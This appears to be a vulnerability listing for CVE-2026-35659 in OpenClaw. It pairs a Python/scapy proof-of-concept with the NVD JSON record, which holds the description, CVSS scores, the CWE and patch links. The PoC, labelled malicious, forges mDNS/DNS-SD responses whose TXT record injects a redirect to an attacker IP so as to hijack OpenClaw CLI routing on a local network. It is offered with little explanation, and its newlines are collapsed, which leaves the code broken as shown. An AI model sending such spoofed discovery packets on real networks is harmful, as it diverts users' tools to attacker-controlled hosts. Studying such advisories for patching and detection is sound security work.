CVE-2026-35659

import scapy.all as scapy from scapy.all import * # Configuration for the malicious PoC MALICIOUS_TARGET_IP = "192.168.1.100" # Attacker controlled IP SERVICE_INSTANCE = "_openclaw._tcp.local" HOSTNAME = "malicious-host.local" # Construct a fake mDNS response (DNS-SD) def build_malicious_mdns_packet(): # Ethernet layer eth = Ether(dst="01:00:5e:00:00:fb") # Multicast MAC for mDNS # IP layer ip = IP(dst="224.0.0.251") # Multicast IP for mDNS # UDP layer (port 5353) udp = UDP(dport=5353, sport=5353) # DNS layer # Transaction ID: 0x0000 (standard for mDNS) # Flags: Response (0x8000), Authoritative (0x0400) dns = DNS(id=0x0000, qr=1, aa=1, rd=0, ra=0, z=0, ad=0, cd=0, qdcount=0, ancount=2, nscount=0, arcount=1) # Answer 1: PTR Record pointing to our service instance ptr_answer = DNSRR(rrname=SERVICE_INSTANCE, type="PTR", ttl=4500, rdata=f"OpenClaw Instance.{SERVICE_INSTANCE}") # Answer 2: TXT Record containing the malicious routing hint # This TXT record includes metadata that OpenClaw uses for CLI routing # even if the A record resolution fails later. txt_data = b"path=/admin\x00redirect=" + MALICIOUS_TARGET_IP.encode() txt_answer = DNSRR(rrname=f"OpenClaw Instance.{SERVICE_INSTANCE}", type="TXT", ttl=4500, rdata=txt_data) # Additional Section: SRV Record (pointing to a hostname likely to fail resolution) # We use a non-resolvable hostname to simulate the "unresolved hint" scenario srv_record = DNSRR(rrname=f"OpenClaw Instance.{SERVICE_INSTANCE}", type="SRV", ttl=4500, rdata=f"0 0 8080 {HOSTNAME}") dns.answers = [ptr_answer, txt_answer] dns.ar = srv_record packet = eth / ip / udp / dns return packet # Send the malicious packet if __name__ == "__main__": print(f"[*] Sending malicious mDNS packet for {SERVICE_INSTANCE}...") packet = build_malicious_mdns_packet() sendp(packet, iface="eth0", verbose=1) print("[+] Packet sent. If OpenClaw processes this, it may route based on the TXT hint.")

{"cve": {"id": "CVE-2026-35659", "sourceIdentifier": "[email protected]", "published": "2026-04-10T17:17:07.277", "lastModified": "2026-04-13T19:21:30.433", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.22 contains a service discovery vulnerability where TXT metadata from Bonjour and DNS-SD could influence CLI routing even when actual service resolution failed. Attackers can exploit unresolved hints to steer routing decisions to unintended targets by providing malicious discovery metadata."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-345"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.22", "matchCriteriaId": "80A4431B-25A7-43D7-9618-5E37E4359DB5"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/630f1479c44f78484dfa21bb407cbe6f171dac87", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/commit/deecf68b59a9b7eea978e40fd3c2fe543087b569", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-rvqr-hrcc-j9vv", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-unresolved-service-metadata-routing-via-bonjour-and-dns-sd-discovery", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}